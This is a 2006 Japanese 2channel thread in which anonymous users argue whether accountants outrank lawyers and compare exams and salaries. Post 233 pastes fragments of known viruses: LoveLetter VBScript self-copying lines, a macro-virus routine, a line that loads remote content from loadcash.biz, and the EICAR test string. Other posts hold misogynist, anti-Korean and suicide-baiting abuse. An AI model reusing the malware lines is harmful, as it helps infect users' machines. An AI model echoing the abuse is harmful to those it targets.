同じことでしょう。

そして全裸にすることで、自分がされるから、処置の仕方を変えるとか考えて
できるだけ脱がない方法で処置ができる方法へと改善される。

女と言う生き物は自分のことしか考えないから、自分が全裸にでもされないと
絶対改善はされるわけがない。
世界が女だけだったら車輪すら発明できないから、いまだに原始的な生活をしていた
と言うくらいだし、ろくでもないのは間違いないけど




195 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:01:01 ID:5Paj6Uma
192
まあ、岐阜県だとか社保の話だして公務員叩きするのは高校生レベルだよなw
ついでに福岡市の話でも出す気かい?w


196 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:02:11 ID:???
183 名前:国T内内定[] 投稿日:2006/09/03(日) 19:05:57 ID:5Paj6Uma
弁護士の方が上だよ。なんなのこのスレ?現実逃避?つか、会計士受験生ってプライド高いやつ大杉!
難関なのは認めるけど科目合格制だろ?

186 名前:一般に公正妥当と認められた名無しさん[] 投稿日:2006/09/03(日) 19:24:23 ID:5Paj6Uma
予備校で知り合った会計士受験生が184みたいな話ばかりしてウンザリ!
難しい話を解りやすく話す気が全然ないんだもん。


190 名前:一般に公正妥当と認められた名無しさん[] 投稿日:2006/09/03(日) 19:37:05 ID:5Paj6Uma
188
じゃあ、受けてみなよ新司法試験。
どうせ非法学部でしょ。未修で3年はハイリスクだぞ!
ヘッ○コ私大の法科大学院に入ったら新司受かるの神業レベルらしいよ


195 名前:一般に公正妥当と認められた名無しさん[] 投稿日:2006/09/03(日) 20:01:01 ID:5Paj6Uma
192
まあ、岐阜県だとか社保の話だして公務員叩きするのは高校生レベルだよなw
ついでに福岡市の話でも出す気かい?w

197 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:02:22 ID:???
>>195

あなたの役所はどこ?その昔、ノーパンしゃぶしゃぶで有名な旧大蔵省ですか?

198 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:11:32 ID:Vt5DzL0t
ていうかこんなどうでもいいことを議論してる暇があったら勉強したら?

199 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:13:59 ID:???
新司法合格率30%になったら、公認会計士のほうが質が高いって話になるよね。

200 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:24:59 ID:???
>>198

195さんですかw

201 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 20:48:35 ID:???
公務員詐称してる奴も公務員叩きしてる奴も低レベル。
勝手にやってろ。

202 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 21:10:21 ID:???
>>201

税金ドロボー公務員ハケーン!

203 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 22:02:44 ID:???
公務員って税金で生活してるくせに左翼が多いよね。
特に地方公務員。
暇だらけの時間を使って、自己満足の反日歴史研究してる
人間が3chに出てた。

204 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 22:13:53 ID:???
なんのために安定した給料やってると思ってるんだろうねぇ

205 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 22:20:32 ID:???
地方公務員も公務員詐称してる奴も公務員叩いてる奴もみんな低レベル。
罵り合ってる会計士と税理士も低レベル。

206 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 22:44:38 ID:???
じゃあ俺だけ高レベルだな

207 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 22:44:48 ID:???
さすがに会計士なら少しは尊敬するぜ

208 :一般に公正妥当と認められた名無しさん:2006/09/03(日) 23:24:24 ID:???
時期首相には今以上の財政削減を期待。もちろん、社会保険庁は廃止。岐阜県への地方交付税も100年間ゼロ。
大阪市1000年はカット。国全体で公務員を50%削減かな。


209 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 02:41:21 ID:9Pk1Sum1
司法書士試験や税理士試験よりはるかに簡単に受かると言われてる公認会計士にああだこうだいわれたくないですよね(^o^;)

弁護士>>>>>>>>公認会計士は常識ですよね(・ω・)/

公認会計士になめられたら情けなすぎですヾ(≧∇≦*)ゝ

210 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 03:33:09 ID:???
うわつまんね

211 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 03:49:09 ID:???
せいぜい、司法試験>公認会計士で、下層弁護士=公認会計士くらいにはなるのかもね。
検察や判事は成績上位じゃないとなれないだろうし。司法試験上位層には公認会計士では勝てないよ。

そもそも司法試験の受験資格を得るためには大学院に行かなくてはいけないわけだし、
余分に2年なり3年なり勉強しなきゃいけない。その間に得られる教養は大きいと思うけどね。
公認会計士は受験資格なしだから、DQNな受験生がある程度の割合で含まれていることは否めない。


それにしてもだが、
なんで、このスレッドに税理士や税理士受験生がいるの?
公認会計士と弁護士のスレッドなのに。

まあ、アクチュアリーはいいと思う。数理系では最難関の資格だから。
(理系大卒及び院卒で平均7〜8年とからしいし)


税理士は所詮、公認会計士の免除で得られる資格なのに・・・

212 :???:2006/09/04(月) 03:53:47 ID:???
クズ資格の公認会計士に舐められるなんて、司法試験も落ちたものですね。   今後は         司法書士>>司法試験>>>>公認会計士(笑)=税理士

213 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 04:17:01 ID:???
お前らにお似合いのスレを紹介してやるよ。
http://school5.2ch.net/test/read.cgi/lic/1155613236/l50

214 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 08:02:36 ID:???
公認会計士の独占は監査だけといっても、
会計のコンサルティングは公認会計士以外に誰がやるんだって話ですよ。
コンサルも独占みたいなもの。

215 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 08:12:09 ID:???
>>221
すでに公認会計士>下層弁護士だしな〜

216 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 10:36:13 ID:???
これからは弁護士君は公認会計士を公認会計士様と呼ぶ時代だよ。

217 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 10:55:41 ID:???
祐ちゃんの直球勝負
「お前等に弁護士と会計士の資格をどちらかを1つあげるから選べ」
すとらーーーーいくっ!!!

…お前等の本音はそんなもんだ。

218 :一般に公正妥当と認められた名無しさん :2006/09/04(月) 11:00:04 ID:???

下級資格と舐められてる税理士(受験生)が必死に煽ってるスレはここですか


219 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 16:04:20 ID:???
これからは、弁護士が企業法の見解を会計士に確認する時代がやってくる。

220 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 17:52:26 ID:???
>>217
冗談抜きで、どちらを選ぶか微妙な件について
去年までなら、間違いなしに弁護士だが。

今年の試験結果を見てからだね。


ところで、公認会計士と税理士だったらどっちを選ぶ?

221 ::2006/09/04(月) 19:29:38 ID:???
え?去年まででも弁護士なんて選ばないけど?

222 :一般に公正妥当と認められた名無しさん:2006/09/04(月) 20:04:43 ID:???
>>219
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

223 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 00:32:55 ID:???
俺は会計士志望で、実際に会計士>弁護士になればうれしいとは思う
ただ、ローができて合格者が増えるという理由だけで会計士>弁護士となるとは到底思えない
さっき見ていたアメリカ映画の何気ない会話の中で弁護士と会計士が並列に列挙されてたからアメリカでは両者は同等の扱いなのかなと思った
日本でもそうなるのかな 会計士の知名度が最近のニュースなんかで上がってきてるしね
アメリカでの両者の平均給与はどんなかんじなんだろうか

224 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 15:40:46 ID:???
>>223
いや、ERと言う番組では、会計士というのはちょっと皮肉、
自嘲交じりな職業として登場してたよ。
ERって緊急手術室
みたいな意味ね。
なんだろう、マジメでそこそこ優秀だけど、つまらない仕事、
中途半端なレベルの人たち、みたいなそんな感じ。

警察官とか消防士なら、医者と比べてどうとかそういう比較は出てきづらい
じゃん。比較になるってことは、そこそこだけど、いまいちって
ことなんだろうね。

225 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 15:42:52 ID:???
弁護士はこれから、出身ロースクールと合格順位が優先されるらしいよ。
だからこれからは、司法試験受かったってことが前提で、
オタクはどこの出身ですか?とか合格順位は何番?みたいな
セレブな会話が生まれるのかもしれんなあ。

弁護士も余ってくるから、余った人たちは、アメリカの弁護士みたいに
言いがかりみたいな民事で小銭を稼ぎ出すんだろうか?
司法改革もアメリカの命令が大きいんだよね。悪いところまでアメリカの
真似してどーすんのかね。

226 ::2006/09/05(火) 16:02:29 ID:???
>>223
アメリカは弁護士が強いと思う。

227 ::2006/09/05(火) 16:05:25 ID:???
日本の資格予備校でも、資格のランク表とかで、米国CPAは語学上のハンデがあるにもかかわらず、
簡単な資格って紹介されてるだろ?
USCPAはそんなもん。

228 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 18:13:46 ID:???
アメリカの弁護士さんは尊敬はされてないよ
チンピラ並みに扱われる場合もある

229 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 18:24:38 ID:50rfQ3sC
アメリカは弁護士の数が日本の20倍もいるんだから、そんなに地位は高くない。
むしろ、公認会計士のほうが地位は高い。
だが、どっちもどっち。どちらもそんなに尊敬される仕事ではない。

230 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 18:47:39 ID:???
弁護士はキャラ的には民間刑事とか探偵
会計士はキャラクター的にはチキンな人。
タナボタで大統領になってオドオドするみたいな。
ちなみに税理士はマイアカウンタントのこと。そういう系統の
税務会計士でしょう。翻訳でも税理士と訳している。
アメリカンビューティではホモの税理士とレントゲン技師カップル
が出てくる。


231 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 19:07:05 ID:???
アメリカではチキンな人は軽蔑対象。
日本人のイメージしているチキンな人より、もっと軽蔑感が強い。
”ひどい奴”というイメージ。女の腐ったとか、そういうたぐい。


232 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 19:25:09 ID:???
腐女子のことか

233 :<body onload=window()>:2006/09/05(火) 20:16:10 ID:???
>>2ё

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???


234 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 21:59:21 ID:???
そんだけ嫌われるってことは妬みもあるんだろうな

235 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:36:23 ID:???
会計士受験生だが多分司法受験生は会計士スレを見る気もないんだなとオモタ
じゃなきゃもっと荒れるだろ・・・



236 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:38:54 ID:???
いや板が違うからね
人集めたいなら宣伝してこいよ

237 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:42:09 ID:???
司法板で会計士とかのほかの資格の話題出してみ。
凄い勢いで貶されるからw
他資格叩きぐらいでしか自尊心を保てなくなってるベテのすくつだからな。
まあこっちも似たようなもんだが。

238 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:51:04 ID:???
弁護士から見た会計士
は会計士からみた税理士みたいな扱いされてるからな。
難易度とかは別として。
司法の諦め組みはすぐ「もう会計士めざすわ」という。
絶対受からんと思うが、それは会計士断念組みが税理士試験簿財くらいしか
うからんのと同じこと。
司法の商法のほうが圧倒的にむずいのは事実みたい。

239 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 22:55:06 ID:???
>>237
日本で一番難しい試験ってことにしか
優越感感じられないからなぁ

まだこっちはほのぼのとしてて好き

240 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 23:06:07 ID:???
この板もほのぼのはしてないだろ・・・。
むしろ殺伐・・・。

241 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 23:15:24 ID:???
>>238
それはないよ。
公認会計士も難しいってのは東大法でも共通意識。

242 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 23:20:30 ID:???
>>240
そうか?
まあ目についたらNGにしてるから、俺がそう感じてるだけなのかもなw

243 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 23:36:53 ID:???
>>229
いやだから弁護士 と言っても地位は高くないが、
どこそこ大学のロースクールを出ていて、どこそこの事務所にいて、
年収が、、、ということで地位が高くなるわけだろ。

医者と弁護士っていうのは、なんだかんだで地位の高い人の例で
よく使われるようだよ。私は医者にも弁護士にもなれたのに、
差別のせいで、、、とかガソリンスタンドで働く黒人が
言ってました。映画で。

244 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 23:38:13 ID:???
>>227
そりゃ客寄せもあるよ。英検2級取れれば通訳ガイドに受かります、
と言ってるようなもの。実際通訳ガイドと英検2級の英語力は
天と地ほどあるし、米国会計士を受かるためには、もっと上の
英語力がないとダメ。

245 :一般に公正妥当と認められた名無しさん:2006/09/05(火) 23:41:28 ID:???
ちなみに、、日本の弁護士が米国弁護士試験に受かる確率は
50%くらい。
なんだかんだで大学院生が凌ぎを削る試験なわけで、ノンネイティブの
日本人が挑むには難しいってことだな。

246 ::2006/09/06(水) 01:19:09 ID:???
>>244
いや、それとはちょっと違うな。
公認会計士のランクがSなのにUSCPAはAとかだったりね。
まあUSCPAが日本に比べてしょぼいのは真。

247 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 03:59:11 ID:???
だから英語力さえあれば、どうにかなるってことだけど
それは一朝一夕で身に付くもんじゃないからね。

248 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 04:35:46 ID:???
公認会計士って名前が嫌であえて税理士選ぶやつもいるぐらい。
チキンなイメージがあるから


249 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 10:19:00 ID:???
>>公認会計士も難しいってのは東大法でも共通意識
確実に嘘だな

250 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 10:34:08 ID:???
公認会計士って商法・会社法のコンサルは金取って出来るんだよな?
これって弁護士法違反ではないんだろ?

251 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 11:47:15 ID:???
言ってる意味がまったく理解できないのは俺だけですか?

252 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 13:07:09 ID:???
>>251
弁護士法で弁護士でないものが報酬をもらって法律相談しちゃいけないみたいなこと書いてあるが、
これは裁判のときだけで、公認会計士が会社法の知識をもって経営者に報酬と引き換えに会社法の知識をアドバイスできるんだよな?

253 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 17:30:20 ID:???
コンサルは資格まったくいらないよ
弁護士だからできるとか、会計士だから出来るとか関係ない。
商法のコンサルであろうが会計のコンサルであろうが、
そこらのおっさんでもできる。
ただ客がやはり弁護士とか会計士のほうが社会的信用あるから
頼んでいるだけ。商法、会社法コンサルは誰がやってもよい。


254 :一般に公正妥当と認められた名無しさん:2006/09/06(水) 22:40:45 ID:???
>>253
そうなのか?
弁護士以外が法律のアドバイスで金儲けするのって禁止されてるんじゃないのか?
税務相談に関しては、金取らなくても税理士以外がすると違法なんじゃないの?

255 :一般に公正妥当と認められた名無しさん:2006/09/07(木) 04:46:04 ID:???
所得とってないのに現実派(ry

256 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 13:43:26 ID:???
監査法人には弁護士もいるんだっけ?
少なくともアメリカの監査法人にはいるよな。
社員以上は公認会計士でなきゃなれないのに、完全に公認会計士の下僕じゃんwwwwpgr

257 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 13:52:04 ID:A/Q0qIts
唯一キャンプ地を確保できなかった国
http://020.gamushara.net/bbs/giron/html/680.html

★参加国中、唯一キャンプ地をドイツに確保できなかった韓国
韓国のキャンプ地をドイツの各都市が嫌がって韓国のキャンプ地誘致にどこも名乗りを上げなかった。
結局、キャンプ地が決まらなかった。
親善試合をしたくても、参加国は韓国とはしたくない。前大会でフランスのジダンが怪我させられたから。 欧州各国は前大会の行いを見てるから、 親善試合は受けてくれない。
★キャンプは断固拒否され★宿泊のみ、ようやくケルンが渋々呑んだ。★
★宿泊=ケルン(★ドイツ★)
★キャンプ=グラスゴー(★イギリス・スコットランド★) という
参加国中唯一の奇妙な形態をとる形となった。
だいたい韓国代表チームのドイツ国内の拠点に立候補した都市がゼロ。
韓国側から申し込んでもすべて拒否。
FIFAに泣きついてやっと決まったが、大会開催中の宿泊のみでキャンプはドイツ国外。w
親善試合も相手がいない。直前の対戦相手も難航。ユニ交換も拒否。w


258 :一般に公正妥当と認められた名無しさん :2006/09/12(火) 14:09:20 ID:???
公認会計士は弁護士に一目も二目も置いてるよ
スレタイのようになるとは思っていないから心配ご無用

259 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 14:23:22 ID:???
マヂレスだが「一目置く」って格上が格下を指して言う台詞じゃなかろうか


260 :一般に公正妥当と認められた名無しさん :2006/09/12(火) 14:31:25 ID:???
>>259
碁や将棋に例えるとそうなるが、
文法的には自分より相手のほうが優っていると敬意を払う表現なのでおk

261 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 14:42:16 ID:???
>>258
弁護士受験生乙

262 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 14:49:31 ID:???
>>260
そうかあ?
「片山右京はMシューマッハに一目置いている」って使い方しないよう
実力が上だから一目置くのは当然すぎる

263 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 14:51:32 ID:???
なんか会計士を受験してるってだけで、ローの連中に劣等感を抱いてしまうよ。
ま、それをこのスレで解消してるわけだが。

264 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:01:13 ID:???
新司法は合格率20〜30%の超簡単な試験
公認会計士様とはレベルが違う

265 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:02:47 ID:???
分母のレベルが違うだろ分母のレベルが!


266 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:06:40 ID:???
分母のレベルは同じくらいだろ。
旧司法なら分母のレベルが高いと言えたかも知れないが。

267 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:09:53 ID:???
ローができたことによって確実に母集団のレベルは下がった希ガス

268 :一般に公正妥当と認められた名無しさん :2006/09/12(火) 15:11:55 ID:???
【一目おく】
相手が自分よりまさっていると認めて敬意をはらうこと
三省堂国語辞典第四版(少々古い国語辞典だが)

269 :一般に公正妥当と認められた名無しさん :2006/09/12(火) 15:18:00 ID:???
会計士で弁護士より上位資格だなんていう人、巷にいないと思うけどなあ。
つか本当に会計士受験生と司法受験生の会話なの。俺は単なる煽りスレだと思ってるんだが。
会計士受験生が司法板行かないのと同様司法受験生も会計板来ないんじゃない。

270 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:40:01 ID:???
このスレぐらい 会計士>>弁護士 でもいいじゃん。コンプ解消のためにさ。

271 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 15:57:14 ID:???
公認会計士様>>弁護士を認めたくない哀れなローがいるのはここですか??

272 :一般に公正妥当と認められた名無しさん :2006/09/12(火) 16:15:46 ID:???
自演オンパレードのスレはここですか

273 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 21:29:11 ID:???
受かりやすさは会計士>司法試験だと思う
会計士は大学現役中にとるのが最近流行りっぽいけど、司法試験の在学中はかなり大変

自分昔3年司法試験勉強してたけど3年目にしてやっと短答しか受からんかった。
会計士にくらがえして2年目、去年はまだ途中なのもあったが短答受かった。
今年は論文受かってるようなきがする。最低でも科目合格はある。

274 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 21:56:18 ID:???
このスレの人口
税理士受験生>司法ベテ>会計士受験生

275 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 22:37:25 ID:???
>>273
くらがえして、受かるやつがいるかよ。工作乙

もし本当なら、自殺することをすすめる。馬鹿なんだから生きててもしょうがないよ。

276 :一般に公正妥当と認められた名無しさん:2006/09/12(火) 22:50:51 ID:???
過去にいただろくらがえ合格

277 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 02:05:01 ID:???
>>273
馬鹿じゃねぇのか?
公認会計士は合格者増で、
旧司法は合格者縮小してるんだから、どんどん在学中合格は難しくなっていくに決まってるだろ。
その分新司法がカスでも受かるようになってるがなw

ということでローの工作員乙

278 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 23:02:24 ID:XX9gqL6u
俺も両方の試験経験してるけど試験自体や受験者のレベルはかなり差があると思うよ。もちろん司法試験の方が上ね。ただ周りを見るとたいしてできない奴も簡単に上位ローに入ってるからこれからは結構接近するんじゃないかと思う。

279 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 23:03:59 ID:oFD4bJC0
ダイヤモンドに各種職業の給料が特集されてたけど、弁護士も会計士も
単価1万円強で接近してるんだね。

年収の差は諸経費の多寡ということか。。。。

280 :一般に公正妥当と認められた名無しさん:2006/09/13(水) 23:48:17 ID:???
>>279
弁護士、会計士それぞれいくらくらいだったの??

281 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 01:43:00 ID:+nGTAo1L
両方受験してる人に聞きたいんだけど、難しい資格ならなんでもいいって考えなの?
それか、より稼げる資格を取りたいって考え?

282 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 01:51:47 ID:???
>>279
公認会計士と弁護士は年収同じくらいだろ。

283 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 02:07:45 ID:9KZ9Jm9D
いずれにしても、もうどっちもおいしくなくなるのは自明だな。

284 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 02:36:47 ID:???
どこが自明なの?
俺は公認会計士はこれからもおいしいと見てるが。

285 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 04:47:56 ID:???
てか弁護士もまだまだおいしいだろ
どんだけ希望が高いんだよ

286 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 05:03:33 ID:???
むしろ普通のリーマンが一番おいしくない

287 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 05:27:20 ID:???
経済学的に考えるならおいしい職があれば
そこに人がなだれ込んで長期的にはおいしくなくなる。

288 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 05:53:21 ID:???
参入障壁があれば別だぞ。
六法マスターするのは
庶民にゃ無理だ。

289 :一般に公正妥当と認められた名無しさん :2006/09/14(木) 11:29:28 ID:???
どっちも関係ない外野が何自演してんだよ
だいたい何時だと思ってんだw

自演が大好きな夜行性ニート1匹ハケーン


290 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 13:11:18 ID:???
>>282
それはないw
弁護士はランキング4位だったが会計士は14位くらいだったかな。

291 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 18:32:37 ID:???
公認会計士は1500万以上平均で行くぞ。
弁護士もそんなもんだろ。

292 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 21:21:55 ID:???
弁護士平均2000万
会計士1300万
税理士1000万と前の奴には書いてあった。
本当かどうかはしらん、税理士そんなにもらえるのか??

293 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 21:53:27 ID:Dfbtjkk7
税理士>>>開業医

294 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 22:17:45 ID:???
>>292
弁護士は日弁連HPには1500万と書いてあるよ。
いい加減なランキングだなそりゃ

295 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 22:51:35 ID:???
いや税理士が最強

296 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 22:55:36 ID:???
それなら税理士登録できる会計士も最強ということになるのでは

297 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 23:19:46 ID:???
あーあそれ言っちゃだめなのに
暇な税理士受験生に粘着されるよ
やつらコンプの塊だからね

298 :一般に公正妥当と認められた名無しさん:2006/09/14(木) 23:59:20 ID:???
もう何も信じられない。
信じられるのは己のみ。

299 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 00:03:48 ID:???
税理士ってコンプの塊だよな。
マジうざい!

300 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 00:20:38 ID:???
300げと

301 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 07:51:00 ID:???
>>281
文系最高峰で稼げる資格でステータスもあるので司法試験受けた
なかなか受からなくて年齢的にヤバくなってきたので、
次に文系で職歴なしOKで受かりそうでそこそこ稼げてステータスある資格ってことで会計士

まあぶっちゃけなんでもよかったってこった。
知り合いでさらに文系学部→理系学部→文系学部(全て国立)→司法試験→医学部受験→会計士試験ってヤシがいるw
こいつにいわせれば金が稼げて普通のリーマンでなければ(親に人に使われる仕事をするなと言われて育ったらしい)何でもよかった、
働くのがいやで気ままな学生の身分でいたかった、難しい勉強はセックルより萌えるんだとよw

302 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 10:01:13 ID:???
その人は司法試験・医師国家試験・会計士試験の全てまたはいずれかに合格したのでしょうか

303 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 18:08:49 ID:???
会計士の給料は、大体以下のような感じです。
会計士補1年目・・・基本給480万、残業代込みで600万
会計士補2〜3年目・・・基本給500〜550万、残業代込み700万
公認会計士2〜3年目・・・基本給700万、残業代込み900〜1000万
公認会計士10年目・・・大手監査法人社員なら1500万円。
公認会計士15年目・・・大手監査法人代表社員なら2000万円

ちなみに、公認会計士2〜3年目までは大して変わらないけど、それ以降は
個人差が大きいです。

-----------------------------------
公認会計士ってかなり勝ち組じゃね?

304 :一般に公正妥当と認められた名無しさん:2006/09/15(金) 20:35:16 ID:???
会計士と弁護士のWライセンスの持ち主が大学の(かなり上の)先輩にいるんだが、
実務で役に立つのは会計士の知識だってさ。
弁護士の資格は「法廷に立つことや示談交渉など法曹利権に絡んだ業務をするためのパス」としてしか役に立たないって言ってた。

結局、ビジネスローなんて言っても、ほとんどの事例が市販の本に載ってる事例ばかりだから弁護士なんて必要ないし、
本に載ってないような事例の場合には法務省や関係各省に相談しつつ内容をすり合わせるしかないので、
どちらにしてもビジネスにおける弁護士の存在意義はないらしい。

305 :一般に公正妥当と認められた名無しさん:2006/09/16(土) 16:20:05 ID:???
年収だけじゃなく可処分所得も大事
その点、昔ほどではないにしても日本企業の福利厚生は異常良い

306 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 00:53:47 ID:???
>>304
渉外弁護士なんて億単位もらう人もいるらしいじゃん。
肩書きの差は天地の開きがあるだろ。

307 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 02:52:09 ID:???
>>306
激しくみっともない勘違いをしてるようだが、億もらえる渉外弁護士なんてほとんどいないし、そもそも需要がない。
大体、渉外弁護士が活躍するフィールドって知ってるのか?知らずに妄想で書いてるんじゃねーのw?
M&Aだの外資による日本法人設立だの仕事のパイは限られてるんだから、久保利レベルの弁護士(&その部下)で占められてるよ。

>>304の言ってる弁護士は俗に言う「顧問弁護士」のことだろ。
通常の法務(契約締結等)に対するアドバイスや労務(ベア対策やセクハラ問題)への対処がほとんど。
一件あたり10〜30万/年ってとこ。
99%の弁護士のメイン業務はこれだね。

308 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 04:30:19 ID:???
お前らの人生そんなつまんない事で決まっちゃうんだw
どうでもイイデータを見て無駄な思考する力が残っているなら
自分がどういう人生を歩みたいのか目標をしっかり定めてそれに近づけるように努力すればイイだろう。
金は手段であって目的ではない。
履き違えると、金に振り回される人間になっちまうぞ。

というわけで、おはようオマイラ。


309 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 05:40:47 ID:4MSDUW1z
よくはしらんが渉外弁護士事務所は一年目から1200万もらえるらしいね。超激務らしいけどうらやましいや。

310 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 05:42:31 ID:???
しんどい思いして弁護士なってまだ激務するのか?
あーでもしょうがいするような奴は苦労せずに合格するか。

311 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 05:44:43 ID:???
>>310
まあ東大法で在学中合格みたいな感じなんだろうけど。
確かに苦労はしてないけどいろんなものと引き換えにって感じだしな・・・。

312 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 05:50:34 ID:???
会計士試験の面接とかでも3回のやついたけど
1回からTAC通うとか俺が1回のときにはありえなかったなぁ。
弁護士とかだと入学式でサークルの勧誘受けながらもうLECのパンフ握り締めてる感じでしょ?
おれにゃー絶対無理だわ。

313 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 10:19:36 ID:???
会計士を馬鹿にする税理士と同じ精神構造の人がここには多いね。

314 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 12:40:37 ID:???
>>309
すごいよな渉外弁護士って。

315 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 12:42:59 ID:???
>>307
たった2行のカキコになぜそこまで必死に反論するのかしらん。

316 :一般に公正妥当と認められた名無しさん:2006/09/17(日) 14:08:58 ID:???
まぁ、上だ下だと吠えているうちは思想が3流以下。
自分の価値観を持っていない弱い人間。
そんな人間が成功するわけない。
